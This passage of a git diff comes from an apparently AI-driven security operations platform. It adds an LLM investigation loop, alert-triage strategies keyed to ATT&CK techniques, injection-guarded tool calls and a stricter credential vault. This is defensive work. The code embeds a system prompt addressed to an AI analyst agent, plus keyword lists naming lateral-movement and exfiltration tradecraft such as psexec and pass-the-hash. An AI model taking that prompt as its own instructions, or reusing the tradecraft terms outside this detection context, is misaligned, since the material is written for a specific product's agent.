+ assets=payload.get("assets") or [],
+ cloud=payload.get("cloud") or [],
+ business=payload.get("business") or [],
+ threat=payload.get("threat") or [],
+ narrative=payload.get("narrative") or [],
+ partial=bool(payload.get("partial")),
+ errors=payload.get("errors") or [],
+ )
+
async def _fetch_threat_intel(self, entities: list[EntityRef]) -> dict[str, ThreatIntelMatch]:
"""Bulk-enrich every IOC-shaped entity in the alert."""
try:
diff --git a/services/agents/app/investigator/deep_investigation.py b/services/agents/app/investigator/deep_investigation.py
new file mode 100644
index 000000000..38990dc05
--- /dev/null
+++ b/services/agents/app/investigator/deep_investigation.py
@@ -0,0 +1,281 @@
+"""Recursive, tool-driven investigation. The first production caller of the loop.
+
+``run_with_tools`` — a working ReAct loop with tool execution, injection
+guarding and cost telemetry — shipped with zero production callers. Every
+investigation path fed the model one pre-serialised blob and asked for a
+verdict, so the platform's deepest capability was reachable only from tests.
+
+This module closes that. It selects an investigation strategy for the alert,
+binds the investigation toolset, and runs the loop, so the model pivots
+through the estate rather than summarising one payload.
+
+What this deliberately is not: a workflow engine. The strategy supplies the
+plan as guidance and the model chooses the tools. A hard-coded pivot sequence
+would break on the first alert that did not match its shape, and would make
+the loop decorative.
+
+Three guardrails, because a loop that calls tools is a loop that spends money
+and time on the hot path of every escalated alert:
+
+* an iteration cap, inherited from ``run_with_tools``
+* a wall-clock budget, since a slow pivot chain is worse than a shallow one
+* a depth *record* on the result, so the investigation can be graded rather
+ than assumed deep
+"""
+
+from __future__ import annotations
+
+import asyncio
+import os
+import time
+from dataclasses import dataclass, field
+from typing import Any
+
+import structlog
+
+from app.investigator.strategies import Strategy, select_strategy
+from app.llm.factory import make_chat_model
+from app.llm.tool_loop import run_with_tools
+from app.tools.investigation import investigation_tools
+from app.tools.registry import default_registry
+
+logger = structlog.get_logger()
+
+#: Off by default is wrong here — a shipped capability nobody enables is the
+#: state this module exists to fix — but it must be disableable for air-gapped
+#: and eval deployments that have no LLM.
+ENABLED = os.getenv("AISOC_DEEP_INVESTIGATION", "true").strip().lower() not in (
+ "0",
+ "false",
+ "off",
+ "no",
+)
+
+MAX_ITERATIONS = int(os.getenv("AISOC_DEEP_INVESTIGATION_MAX_ITERS", "6"))
+BUDGET_SECONDS = float(os.getenv("AISOC_DEEP_INVESTIGATION_BUDGET_SECONDS", "120"))
+
+
+@dataclass
+class DeepInvestigationResult:
+ """What the loop found, and how hard it actually looked.
+
+ The depth fields are the point. An investigation that called one tool and
+ wrote three paragraphs is alert-enrich-summarise wearing a different
+ name, and without a record of pivots taken there is no way to tell the
+ two apart after the fact.
+ """
+
+ strategy_id: str
+ narrative: str = ""
+ pivots: list[str] = field(default_factory=list)
+ distinct_pivots: int = 0
+ tool_trace: list[dict[str, Any]] = field(default_factory=list)
+ iterations: int = 0
+ truncated: bool = False
+ latency_ms: int = 0
+ over_budget: bool = False
+ unavailable_data: list[str] = field(default_factory=list)
+ error: str | None = None
+
+ @property
+ def reached_depth(self) -> bool:
+ """Whether the run met the strategy's floor for having investigated."""
+ strategy = _STRATEGY_CACHE.get(self.strategy_id)
+ floor = strategy.min_pivots if strategy else 2
+ return self.distinct_pivots >= floor
+
+ def as_dict(self) -> dict[str, Any]:
+ return {
+ "strategy_id": self.strategy_id,
+ "narrative": self.narrative,
+ "pivots": self.pivots,
+ "distinct_pivots": self.distinct_pivots,
+ "iterations": self.iterations,
+ "truncated": self.truncated,
+ "latency_ms": self.latency_ms,
+ "over_budget": self.over_budget,
+ "reached_depth": self.reached_depth,
+ "unavailable_data": self.unavailable_data,
+ "error": self.error,
+ }
+
+ def findings(self) -> list[str]:
+ """Render as investigation findings for the deterministic agent."""
+ out: list[str] = []
+ if self.error:
+ # A failed investigation must not read as a completed one.
+ out.append(f"Deep investigation did not complete ({self.error}). " f"Findings below are from the deterministic path only.")
+ return out
+
+ if self.narrative:
+ out.append(self.narrative.strip())
+
+ if self.pivots:
+ out.append(
+ f"Investigation depth: {self.distinct_pivots} distinct pivots "
+ f"across {self.iterations} reasoning steps "
+ f"(strategy: {self.strategy_id}) — {', '.join(sorted(set(self.pivots)))}."
+ )
+ if self.unavailable_data:
+ # Stated as a coverage gap, never as an absence of activity.
+ out.append(
+ "Coverage gap: the following data classes are not ingested, so this "
+ "investigation could not check them — "
+ f"{', '.join(sorted(set(self.unavailable_data)))}. "
+ "Treat them as unknown rather than clear."
+ )
+ if self.truncated:
+ out.append(f"Investigation hit its {MAX_ITERATIONS}-step cap; the line of enquiry " f"was not exhausted.")
+ if self.over_budget:
+ out.append(
+ f"Investigation exceeded its {BUDGET_SECONDS:.0f}s budget and was cut " f"short; conclusions are based on partial evidence."
+ )
+ return out
+
+
+_STRATEGY_CACHE: dict[str, Strategy] = {}
+
+
+_SYSTEM_PREAMBLE = """You are a senior SOC analyst investigating a security alert.
+
+You have tools that query the organisation's own event lake. Use them. An
+investigation is a chain of questions where each answer determines the next:
+a suspicious process leads to where else that binary has run, which leads to
+which accounts were on those hosts, which leads to where else those accounts
+authenticated.
+
+Rules that matter:
+- Do not answer from the alert text alone. Call tools.
+- Each tool result is the input to your next question, not the end of the
+ enquiry.
+- If a tool reports that its data class is not ingested, that is a gap in
+ visibility. Record it as a gap. It is not evidence the activity did not
+ happen.
+- An empty result from a tool that *is* backed by data is genuine evidence of
+ absence, and you may rely on it.
+- Distinguish what you observed from what you inferred. State confidence
+ plainly, and say what would change your mind.
+
+Finish with a short narrative: what happened, in what order, what you are
+confident about, what you could not determine, and what you would do next."""
+
+
+def _summarise_alert(state: Any) -> str:
+ """The alert as a prompt, without dumping raw payloads into context."""
+ raw = getattr(state, "raw_alert", {}) or {}
+ parts = [f"Alert: {getattr(state, 'alert_summary', '') or raw.get('title') or 'unknown'}"]
+ for key, label in (
+ ("severity", "Severity"),
+ ("source", "Source"),
+ ("connector_type", "Connector"),
+ ):
+ if raw.get(key):
+ parts.append(f"{label}: {raw[key]}")
+ for key, label in (
+ ("hostname", "Host"),
+ ("src_hostname", "Host"),
+ ("user_name", "User"),
+ ("source_ip", "Source IP"),
+ ("dest_ip", "Destination IP"),
+ ("process_name", "Process"),
+ ("hash_sha256", "SHA-256"),
+ ):
+ if raw.get(key):
+ parts.append(f"{label}: {raw[key]}")
+ techniques = getattr(state, "mitre_mappings", None) or []
+ if techniques:
+ parts.append(f"Mapped ATT&CK techniques: {', '.join(techniques)}")
+ return "\n".join(parts)
+
+
+def _classify_pivots(trace: list[dict[str, Any]]) -> tuple[list[str], list[str]]:
+ """Split the trace into pivots taken and data classes that were missing.
+
+ A tool that reported ``available: false`` is not a pivot — counting it
+ would let an investigation reach its depth floor by calling four tools
+ that all answered "not ingested".
+ """
+ pivots: list[str] = []
+ unavailable: list[str] = []
+ for entry in trace:
+ name = entry.get("tool", "")
+ preview = str(entry.get("result_preview", ""))
+ if "'available': False" in preview or '"available": false' in preview:
+ unavailable.append(name)
+ else:
+ pivots.append(name)
+ return pivots, unavailable
+
+
+async def run_deep_investigation(
+ state: Any,
+ *,
+ llm: Any | None = None,
+ max_iterations: int | None = None,
+) -> DeepInvestigationResult:
+ """Investigate by pivoting through the estate, not by summarising the alert.
+
+ Returns a result even on failure: the deterministic path still runs, and
+ a raised exception here would take a working investigation down with a
+ non-essential enhancement.
+ """
+ tenant_id = str(getattr(state, "tenant_id", "") or "default")
+ summary = getattr(state, "alert_summary", "") or ""
+ techniques = list(getattr(state, "mitre_mappings", None) or [])
+
+ strategy = select_strategy(summary=summary, techniques=techniques)
+ _STRATEGY_CACHE[strategy.id] = strategy
+ result = DeepInvestigationResult(strategy_id=strategy.id)
+
+ if not ENABLED:
+ result.error = "deep investigation disabled (AISOC_DEEP_INVESTIGATION)"
+ return result
+
+ started = time.monotonic()
+ try:
+ model = llm if llm is not None else make_chat_model("investigation")
+
+ registry = default_registry()
+ for tool in investigation_tools(tenant_id):
+ registry.register(tool)
+
+ loop = await asyncio.wait_for(
+ run_with_tools(
+ model,
+ system=f"{_SYSTEM_PREAMBLE}\n\n{strategy.system_guidance()}",
+ user=_summarise_alert(state),
+ registry=registry,
+ max_iters=max_iterations or MAX_ITERATIONS,
+ ),
+ timeout=BUDGET_SECONDS,
+ )
+ except TimeoutError:
+ result.over_budget = True
+ result.error = f"exceeded the {BUDGET_SECONDS:.0f}s budget"
+ result.latency_ms = int((time.monotonic() - started) * 1000)
+ logger.warning("deep_investigation.over_budget", strategy=strategy.id)
+ return result
+ except Exception as exc:
+ result.error = f"{type(exc).__name__}: {exc}"
+ result.latency_ms = int((time.monotonic() - started) * 1000)
+ logger.warning("deep_investigation.failed", strategy=strategy.id, error=type(exc).__name__)
+ return result
+
+ result.latency_ms = int((time.monotonic() - started) * 1000)
+ result.narrative = loop.get("content", "") or ""
+ result.tool_trace = loop.get("tool_trace", []) or []
+ result.iterations = int(loop.get("iterations", 0) or 0)
+ result.truncated = bool(loop.get("truncated"))
+
+ result.pivots, result.unavailable_data = _classify_pivots(result.tool_trace)
+ result.distinct_pivots = len(set(result.pivots))
+
+ logger.info(
+ "deep_investigation.complete",
+ strategy=strategy.id,
+ distinct_pivots=result.distinct_pivots,
+ iterations=result.iterations,
+ latency_ms=result.latency_ms,
+ reached_depth=result.reached_depth,
+ )
+ return result
diff --git a/services/agents/app/investigator/strategies.py b/services/agents/app/investigator/strategies.py
new file mode 100644
index 000000000..f6015680b
--- /dev/null
+++ b/services/agents/app/investigator/strategies.py
@@ -0,0 +1,381 @@
+"""Investigation strategies: named, composable, testable pivot sequences.
+
+Pillar 2. A strategy is what an experienced analyst brings that a prompt does
+not: knowing that a suspicious process on an endpoint is worth chasing
+*through* the binary's fleet-wide history and the logged-in account's
+authentication trail, and that an identity alert is worth chasing through the
+account's other sessions rather than the host's process list.
+
+Encoding that as data rather than prose has three consequences that matter:
+
+* **The model is steered, not scripted.** A strategy supplies the plan as
+ guidance in the system prompt and leaves tool selection to the model. A
+ hard-coded pivot sequence would be a workflow engine wearing an agent's
+ clothes, and would break on the first alert that did not match its shape.
+* **Depth becomes measurable.** Each strategy declares the pivots it expects,
+ so an investigation can be graded on whether it actually reached them. That
+ is what ``scripts/check_investigation_depth.py`` gates on, and it is the
+ only thing stopping alert-enrich-summarise from regressing back in.
+* **It is reviewable.** A strategy is a dataclass with a rationale. Adding one
+ is a reviewable change rather than a prompt edit nobody can diff.
+
+Ten strategies here, covering the kill chains the corpus actually fires on.
+The registry is designed for many more; each is ~20 lines and needs its own
+selection test.
+"""
+
+from __future__ import annotations
+
+from dataclasses import dataclass, field
+
+# Pivots a strategy can ask for. Must match tool names in
+# ``app.tools.investigation``; the drift test asserts it.
+KNOWN_PIVOTS = frozenset(
+ {
+ "process_activity",
+ "historical_execution",
+ "network_connections",
+ "authentication_events",
+ "fleet_ioc_hunt",
+ "entity_timeline",
+ "technique_activity",
+ "process_tree",
+ "mailbox_activity",
+ "oauth_grants",
+ "persistence_mechanisms",
+ }
+)
+
+
+@dataclass(frozen=True)
+class Strategy:
+ """One named investigation approach.
+
+ ``expected_pivots`` is what the depth gate grades against. ``min_pivots``
+ is the floor below which the investigation did not actually investigate —
+ lower than ``len(expected_pivots)`` because a pivot that returns nothing
+ legitimately ends a branch, and grading on the full list would reward
+ calling tools for the sake of it.
+ """
+
+ id: str
+ name: str
+ applies_when: str
+ rationale: str
+ plan: tuple[str, ...]
+ expected_pivots: tuple[str, ...]
+ min_pivots: int = 2
+ techniques: tuple[str, ...] = field(default_factory=tuple)
+ keywords: tuple[str, ...] = field(default_factory=tuple)
+
+ def system_guidance(self) -> str:
+ """Render the strategy as prompt guidance.
+
+ Phrased as an approach rather than an instruction list: the model
+ should skip a step whose predecessor returned nothing, and a numbered
+ imperative sequence discourages that.
+ """
+ steps = "\n".join(f" {i}. {step}" for i, step in enumerate(self.plan, 1))
+ return (
+ f"Investigation approach: {self.name}\n"
+ f"Why this approach: {self.rationale}\n"
+ f"Suggested line of enquiry — follow what the evidence supports and "
+ f"skip steps whose inputs came back empty:\n{steps}\n"
+ f"Do not stop at the first tool result. Each answer above is the input "
+ f"to the next question. If a tool reports its data class is not "
+ f"ingested, record that as a gap in coverage rather than as evidence "
+ f"the activity did not occur."
+ )
+
+
+STRATEGIES: tuple[Strategy, ...] = (
+ Strategy(
+ id="endpoint-suspicious-process",
+ name="Suspicious process on an endpoint",
+ applies_when="An EDR or endpoint alert names a process or binary hash.",
+ rationale=(
+ "A single suspicious process is almost never decidable in isolation. "
+ "What decides it is whether the binary is new to the estate, where "
+ "else it has run, and what it talked to."
+ ),
+ plan=(
+ "List what executed on the host around the alert.",
+ "Establish the process lineage — what spawned it. A signed binary "
+ "launched by a browser is a different finding from the same binary "
+ "launched by a scheduler.",
+ "Take the binary's hash or name and find every other host that has run it — "
+ "first-seen timestamps clustered in one morning mean something different "
+ "from a binary present for a year.",
+ "Check the host's outbound connections for the same window.",
+ "If a user is associated, check where that account authenticated from.",
+ "Reconstruct the host timeline once the entities are known.",
+ ),
+ expected_pivots=(
+ "process_activity",
+ "process_tree",
+ "historical_execution",
+ "network_connections",
+ "entity_timeline",
+ ),
+ min_pivots=3,
+ techniques=("T1059", "T1204", "T1543", "T1055"),
+ keywords=("process", "binary", "executable", "powershell", "cmd.exe", "malware", "edr"),
+ ),
+ Strategy(
+ id="identity-account-takeover",
+ name="Suspected account takeover",
+ applies_when="An identity provider alert names a user: impossible travel, MFA fatigue, risky sign-in.",
+ rationale=(
+ "Authentication anomalies are cheap to raise and expensive to judge. "
+ "The deciding evidence is the account's own recent pattern and whether "
+ "anything followed the suspicious session."
+ ),
+ plan=(
+ "Pull the account's authentication events and look at the distinct source " "addresses and the intervals between them.",
+ "Check for OAuth consent grants and mailbox rule changes on the account — " "the usual post-compromise steps.",
+ "Build the account's timeline across every source to see what followed " "the suspicious sign-in.",
+ "If any host is associated, check what ran on it.",
+ ),
+ expected_pivots=(
+ "authentication_events",
+ "oauth_grants",
+ "mailbox_activity",
+ "entity_timeline",
+ ),
+ min_pivots=2,
+ techniques=("T1078", "T1621", "T1556", "T1098"),
+ keywords=("impossible travel", "mfa", "sign-in", "login", "authentication", "account", "okta", "entra"),
+ ),
+ Strategy(
+ id="phishing-payload",
+ name="Phishing with a delivered payload",
+ applies_when="An email-security or web-proxy alert names a URL, attachment or sender.",
+ rationale=(
+ "The question is never whether the mail arrived, it is whether anyone " "acted on it and what happened next on their machine."
+ ),
+ plan=(
+ "Hunt the URL or attachment hash across the fleet to find who else received " "or fetched it.",
+ "For any host that did, list what executed shortly afterwards.",
+ "Check outbound connections from those hosts.",
+ "Check the recipient account's mailbox for rules added after delivery.",
+ ),
+ expected_pivots=(
+ "fleet_ioc_hunt",
+ "process_activity",
+ "network_connections",
+ "mailbox_activity",
+ ),
+ min_pivots=2,
+ techniques=("T1566", "T1204", "T1598"),
+ keywords=("phish", "email", "attachment", "url", "proxy", "sender"),
+ ),
+ Strategy(
+ id="c2-beaconing",
+ name="Command-and-control beaconing",
+ applies_when="A network or DNS alert names an external address or domain with periodic traffic.",
+ rationale=(
+ "Beaconing is decided by breadth and regularity, not by a single "
+ "connection. One host talking to an address is ambiguous; four hosts "
+ "on the same interval is not."
+ ),
+ plan=(
+ "Hunt the destination across the fleet — how many distinct hosts reach it.",
+ "For each, list the connections and look at the intervals.",
+ "Identify the process responsible on at least one host.",
+ "Check whether that binary appears elsewhere.",
+ ),
+ expected_pivots=(
+ "fleet_ioc_hunt",
+ "network_connections",
+ "process_activity",
+ "historical_execution",
+ ),
+ min_pivots=3,
+ techniques=("T1071", "T1095", "T1573", "T1008"),
+ keywords=("beacon", "c2", "command and control", "dns", "outbound", "periodic"),
+ ),
+ Strategy(
+ id="lateral-movement",
+ name="Lateral movement between hosts",
+ applies_when="An alert shows authentication or remote execution from one internal host to another.",
+ rationale=(
+ "Lateral movement is a path, and a path is only visible by walking it. "
+ "The useful output is the set of hosts touched, in order."
+ ),
+ plan=(
+ "Pull the account's authentication events to enumerate the hosts it reached.",
+ "For each host, list what executed after the authentication.",
+ "Hunt any tooling found across the rest of the fleet.",
+ "Build the timeline across the account to order the hops.",
+ ),
+ expected_pivots=(
+ "authentication_events",
+ "process_activity",
+ "historical_execution",
+ "entity_timeline",
+ ),
+ min_pivots=3,
+ techniques=("T1021", "T1570", "T1550", "T1563"),
+ keywords=("lateral", "psexec", "smb", "rdp", "wmi", "remote execution", "pass-the-hash"),
+ ),
+ Strategy(
+ id="cloud-credential-abuse",
+ name="Cloud credential abuse",
+ applies_when="A cloud audit alert shows unusual API activity, role assumption or key use.",
+ rationale=(
+ "A cloud key is only as interesting as what it reached. The pivot that "
+ "matters is whether the calling address appears anywhere else in the "
+ "estate — a corporate egress is different from a hosting provider."
+ ),
+ plan=(
+ "Check the principal's authentication and API activity for the window.",
+ "Hunt the calling source address across the fleet.",
+ "Build the principal's timeline to order the API calls.",
+ "Look for the same technique elsewhere in the account.",
+ ),
+ expected_pivots=(
+ "authentication_events",
+ "fleet_ioc_hunt",
+ "entity_timeline",
+ "technique_activity",
+ ),
+ min_pivots=2,
+ techniques=("T1078.004", "T1552", "T1580", "T1098.001"),
+ keywords=("aws", "iam", "assumerole", "cloudtrail", "gcp", "azure", "access key", "s3"),
+ ),
+ Strategy(
+ id="data-exfiltration",
+ name="Data exfiltration",
+ applies_when="An alert shows large or unusual outbound transfer, or access to a sensitive store.",
+ rationale=(
+ "Volume alone is a poor signal. What distinguishes exfiltration is the "
+ "destination being unusual for the estate and the access preceding it "
+ "being unusual for the account."
+ ),
+ plan=(
+ "List the outbound connections and identify the destination.",
+ "Hunt the destination across the fleet — is anyone else reaching it.",
+ "Check the account's recent activity for the access that preceded it.",
+ "Build the timeline to establish order.",
+ ),
+ expected_pivots=(
+ "network_connections",
+ "fleet_ioc_hunt",
+ "entity_timeline",
+ "authentication_events",
+ ),
+ min_pivots=3,
+ techniques=("T1041", "T1567", "T1048", "T1030"),
+ keywords=("exfil", "upload", "transfer", "egress", "large", "dlp"),
+ ),
+ Strategy(
+ id="privilege-escalation",
+ name="Privilege escalation",
+ applies_when="An alert shows a permission grant, role change or privileged-group membership change.",
+ rationale=(
+ "The grant itself is rarely the incident. What matters is what the "
+ "account did with it, and whether the granting account was itself "
+ "acting normally."
+ ),
+ plan=(
+ "Check the account's authentication trail before the change.",
+ "Build the timeline after the grant to see what the new privilege was used for.",
+ "If a host is involved, list what executed on it.",
+ "Check whether the same technique appears elsewhere.",
+ ),
+ expected_pivots=(
+ "authentication_events",
+ "entity_timeline",
+ "process_activity",
+ "technique_activity",
+ ),
+ min_pivots=2,
+ techniques=("T1068", "T1078.003", "T1098", "T1548"),
+ keywords=("privilege", "escalat", "admin", "sudo", "role", "group membership", "grant"),
+ ),
+ Strategy(
+ id="persistence-established",
+ name="Persistence established on a host",
+ applies_when="An alert names a scheduled task, service, run key or startup item.",
+ rationale=(
+ "Persistence is an outcome, not an entry. The investigation is mostly "
+ "backwards: what installed it, and is it on other machines too."
+ ),
+ plan=(
+ "Enumerate persistence mechanisms on the host.",
+ "List what executed around the time it was created.",
+ "Hunt the installing binary across the fleet.",
+ "Build the host timeline to establish the entry point.",
+ ),
+ expected_pivots=(
+ "persistence_mechanisms",
+ "process_activity",
+ "historical_execution",
+ "entity_timeline",
+ ),
+ min_pivots=2,
+ techniques=("T1053", "T1543", "T1547", "T1546"),
+ keywords=("persistence", "scheduled task", "cron", "service", "run key", "startup", "launchd"),
+ ),
+ Strategy(
+ id="generic-triage",
+ name="General triage",
+ applies_when="No more specific strategy matches the alert.",
+ rationale=(
+ "The fallback still has to investigate. Without one, an unmatched alert "
+ "reverts to summarising the alert text, which is the behaviour the "
+ "strategy library exists to replace."
+ ),
+ plan=(
+ "Identify the entities named in the alert: host, account, indicator.",
+ "For each entity, pull its recent timeline.",
+ "Hunt any indicator across the fleet.",
+ "Check whether the mapped technique appears elsewhere recently.",
+ ),
+ expected_pivots=("entity_timeline", "fleet_ioc_hunt", "technique_activity"),
+ min_pivots=2,
+ keywords=(),
+ ),
+)
+
+_BY_ID = {s.id: s for s in STRATEGIES}
+FALLBACK = _BY_ID["generic-triage"]
+
+
+def get_strategy(strategy_id: str) -> Strategy | None:
+ return _BY_ID.get(strategy_id)
+
+
+def select_strategy(
+ *,
+ summary: str = "",
+ techniques: list[str] | None = None,
+) -> Strategy:
+ """Pick the strategy best matching an alert.
+
+ Technique match outranks keyword match: an ATT&CK mapping is a deliberate
+ classification, whereas a keyword can appear in any narrative. Ties go to
+ the earlier strategy, and no match falls back to general triage rather
+ than to no strategy at all.
+ """
+ text = (summary or "").lower()
+ mapped = {t.upper() for t in (techniques or [])}
+
+ best: Strategy | None = None
+ best_score = 0
+
+ for strategy in STRATEGIES:
+ if strategy is FALLBACK:
+ continue
+ score = 0
+ for technique in strategy.techniques:
+ # A sub-technique alert should match its parent's strategy:
+ # T1078.004 is still an identity problem.
+ if any(m == technique or m.startswith(technique + ".") for m in mapped):
+ score += 10
+ score += sum(2 for keyword in strategy.keywords if keyword in text)
+
+ if score > best_score:
+ best, best_score = strategy, score
+
+ return best or FALLBACK
diff --git a/services/agents/app/llm/tool_loop.py b/services/agents/app/llm/tool_loop.py
new file mode 100644
index 000000000..7f97269e6
--- /dev/null
+++ b/services/agents/app/llm/tool_loop.py
@@ -0,0 +1,87 @@
+"""LLM tool-calling loop (Wave 4a).
+
+Lives under ``app.llm`` rather than ``app.agents``: it is a
+provider-agnostic loop over ``safe_ainvoke`` and the tool registry, and
+nothing about it is agent-specific. The original home created a cycle —
+importing ``app.agents.tool_loop`` executes ``app/agents/__init__.py``,
+which imports every agent module, so any agent wanting the loop imported
+itself. ``app.agents.tool_loop`` re-exports this for existing callers.
+
+A minimal, provider-agnostic ReAct loop: bind the registry's tools to the model,
+let the model choose which to call, execute the calls, feed results back, and
+repeat until the model answers without a tool call (or a cap is hit). This is
+the primitive that lets specialist agents *use tools* instead of reasoning over
+a single pre-serialised blob.
+
+Bounded + fail-soft: at most ``max_iters`` round-trips; tool errors come back to
+the model as structured results (via ToolRegistry.execute) rather than aborting.
+"""
+
+from __future__ import annotations
+
+import json
+from typing import Any
+
+import structlog
+from langchain_core.messages import AIMessage, HumanMessage, SystemMessage, ToolMessage
+
+from app.llm.contract import safe_ainvoke
+from app.tools.registry import ToolRegistry
+
+logger = structlog.get_logger()
+
+
+async def run_with_tools(
+ llm: Any,
+ *,
+ system: str,
+ user: str,
+ registry: ToolRegistry,
+ max_iters: int = 4,
+) -> dict[str, Any]:
+ """Run a tool-calling conversation and return the final content + tool trace.
+
+ Returns ``{"content": str, "tool_trace": [...], "iterations": int,
+ "truncated": bool}``.
+ """
+ bound = llm.bind_tools(registry.openai_schemas())
+ messages: list[Any] = [SystemMessage(content=system), HumanMessage(content=user)]
+ trace: list[dict[str, Any]] = []
+
+ for iteration in range(1, max_iters + 1):
+ # Routed through safe_ainvoke rather than calling bound.ainvoke
+ # directly. This loop feeds tool output straight back into the prompt,
+ # and that output is untrusted: a SIEM row, a graph property or a
+ # threat-intel record can carry text that reads as an instruction.
+ # Skipping the contract here skipped injection validation on precisely
+ # the highest-risk content in the system, and lost the token/cost
+ # telemetry for every tool-calling turn.
+ response = await safe_ainvoke(bound, messages)
+ messages.append(response)
+ tool_calls = getattr(response, "tool_calls", None) or []
+ if not tool_calls:
+ return {
+ "content": _content(response),
+ "tool_trace": trace,
+ "iterations": iteration,
+ "truncated": False,
+ }
+ for call in tool_calls:
+ name = call.get("name", "")
+ args = call.get("args", {}) or {}
+ call_id = call.get("id", "") or ""
+ result = await registry.execute(name, args)
+ trace.append({"tool": name, "args": args, "result_preview": str(result)[:200]})
+ messages.append(ToolMessage(content=json.dumps(result, default=str)[:4000], tool_call_id=call_id))
+
+ logger.info("tool_loop.truncated", iterations=max_iters, tools_called=len(trace))
+ return {"content": _content(messages[-1]), "tool_trace": trace, "iterations": max_iters, "truncated": True}
+
+
+def _content(message: Any) -> str:
+ content = getattr(message, "content", "")
+ if isinstance(content, str):
+ return content
+ if isinstance(content, AIMessage): # pragma: no cover - defensive
+ return str(content.content)
+ return str(content)
diff --git a/services/agents/app/models/state.py b/services/agents/app/models/state.py
index d389b6ade..66e65ea08 100644
--- a/services/agents/app/models/state.py
+++ b/services/agents/app/models/state.py
@@ -96,6 +96,15 @@ class InvestigationState(BaseModel):
# ungrounded auto-closure is visible after the fact, not just at the time.
groundedness: float | None = None
+ # What the recursive investigation actually did: which strategy was
+ # selected, how many distinct pivots it took, whether it hit its
+ # iteration cap or time budget, and which data classes it could not
+ # check. Recorded rather than inferred, because a narrative is not
+ # evidence that anything was looked at — an investigation that called
+ # one tool and wrote three paragraphs reads identically to one that
+ # pivoted five times. This is what the depth gate grades.
+ investigation_depth: dict[str, Any] | None = None
+
# Metadata
iteration_count: int = 0
max_iterations: int = 10
diff --git a/services/agents/app/security/credential_vault.py b/services/agents/app/security/credential_vault.py
index c2b885cab..b9671734b 100644
--- a/services/agents/app/security/credential_vault.py
+++ b/services/agents/app/security/credential_vault.py
@@ -47,6 +47,11 @@ logger = logging.getLogger("aisoc.agents.credential_vault")
# byte-for-byte.
_CIPHER_PREFIX: Final[str] = "vault:v1:"
+# Envelope tokens are written only by services/api, which owns the key
+# manager. This read-path copy recognises them so it can refuse them
+# rather than pass the ciphertext through as plaintext.
+_ENVELOPE_PREFIX = "vault:v2:"
+
class CredentialVaultError(RuntimeError):
"""Raised when the vault cannot encrypt/decrypt safely."""
@@ -96,6 +101,19 @@ class CredentialVault:
def decrypt(self, value: str) -> str:
if not isinstance(value, str):
raise CredentialVaultError(f"vault.decrypt expects str, got {type(value).__name__}")
+ # A vault:v2 envelope token cannot be read here: this is a vendored
+ # read-path copy and only services/api holds the envelope key
+ # manager. Falling through the plaintext branch below would hand the
+ # ciphertext to a vendor API as if it were the credential, producing
+ # an auth failure that looks like a customer configuration problem.
+ # Fail closed and say which service can read it.
+ if value.startswith(_ENVELOPE_PREFIX):
+ raise CredentialVaultError(
+ "this credential is envelope-encrypted (vault:v2) and cannot be "
+ "decrypted by this service; only services/api holds the key "
+ "manager. Either disable AISOC_CREDENTIAL_ENVELOPE or route the "
+ "read through the API."
+ )
if not value.startswith(_CIPHER_PREFIX):
return value
token = value[len(_CIPHER_PREFIX) :].encode("ascii")
diff --git a/services/agents/app/tools/investigation.py b/services/agents/app/tools/investigation.py
new file mode 100644
index 000000000..2545cbe88
--- /dev/null
+++ b/services/agents/app/tools/investigation.py
@@ -0,0 +1,243 @@
+"""Investigation primitives, exposed to the model as callable tools.
+
+Pillar 2. The registry held four enrichment calls — extract IOCs, map to
+ATT&CK, look up a technique, enrich one indicator. That supports
+alert-enrich-summarise and stops there, because none of them take another
+tool's output as input. An investigation is a chain:
+
+ process on a host -> where else that binary ran -> who was logged in ->
+ where else that account authenticated -> which other hosts saw the
+ indicator -> the timeline across all of them
+
+These tools compose, so the model can follow that chain instead of being
+handed one pre-serialised blob and asked to summarise it.
+
+Execution is delegated to the API, which owns the lake connection and the
+tenant predicate. The agent never builds SQL and never passes a tenant: the
+API takes it from the authenticated session, because a tool argument named
+``tenant_id`` would be the single most valuable thing to prompt-inject.
+"""
+
+from __future__ import annotations
+
+import os
+from typing import Any
+
+import httpx
+import structlog
+
+from app.tools.registry import Tool
+
+logger = structlog.get_logger()
+
+# Investigation pivots hit the lake, which is slower than an enrichment
+# lookup but is the whole point. Bounded so one slow pivot cannot stall a
+# tool loop indefinitely.
+TOOL_TIMEOUT_SECONDS = 20.0
+
+
+def _api_url() -> str:
+ return os.getenv("AISOC_API_URL", "http://api:8000").rstrip("/")
+
+
+async def call_investigation_tool(tool: str, tenant_id: str, **args: Any) -> dict[str, Any]:
+ """Run one pivot through the API.
+
+ Errors are returned as data rather than raised: the tool loop feeds
+ results back to the model, and a model that receives
+ ``{"available": false, "reason": ...}`` can adapt, whereas an exception
+ ends the investigation.
+ """
+ try:
+ async with httpx.AsyncClient(timeout=TOOL_TIMEOUT_SECONDS) as client:
+ response = await client.post(
+ f"{_api_url()}/api/v1/graph/investigate/query",
+ json={"tool": tool, "args": args},
+ headers={"X-Tenant-ID": tenant_id},
+ )
+ response.raise_for_status()
+ return response.json()
+ except Exception as exc:
+ logger.warning("investigation_tool.failed", tool=tool, error=type(exc).__name__)
+ return {
+ "tool": tool,
+ "available": False,
+ # Worded for the model. "No results" and "the lookup failed" must
+ # not read the same, or the second becomes evidence of absence.
+ "reason": (
+ f"Could not reach the investigation service ({type(exc).__name__}). "
+ f"This is a lookup failure, not an absence of evidence — do not "
+ f"conclude the activity did not occur."
+ ),
+ }
+
+
+def _schema(properties: dict[str, Any], required: list[str]) -> dict[str, Any]:
+ return {"type": "object", "properties": properties, "required": required}
+
+
+_HOURS = {
+ "type": "integer",
+ "description": "Lookback window in hours. Defaults to 24, capped at 90 days.",
+}
+_DAYS = {
+ "type": "integer",
+ "description": "Lookback window in days. Capped at 90.",
+}
+
+
+def investigation_tools(tenant_id: str) -> list[Tool]:
+ """Build the investigation toolset bound to one tenant.
+
+ The tenant is captured here rather than exposed as a tool argument, so it
+ is not in the schema the model sees and cannot be supplied by it.
+ """
+
+ def bind(name: str):
+ async def _call(**args: Any) -> dict[str, Any]:
+ return await call_investigation_tool(name, tenant_id, **args)
+
+ return _call
+
+ return [
+ Tool(
+ name="process_activity",
+ description=(
+ "List processes that executed on a host, most recent first. Use this "
+ "first when an alert names a host, to see what actually ran."
+ ),
+ parameters=_schema(
+ {
+ "hostname": {"type": "string", "description": "The host to inspect."},
+ "hours": _HOURS,
+ },
+ ["hostname"],
+ ),
+ fn=bind("process_activity"),
+ ),
+ Tool(
+ name="historical_execution",
+ description=(
+ "Find every host and account that has run a binary, by name or SHA-256. "
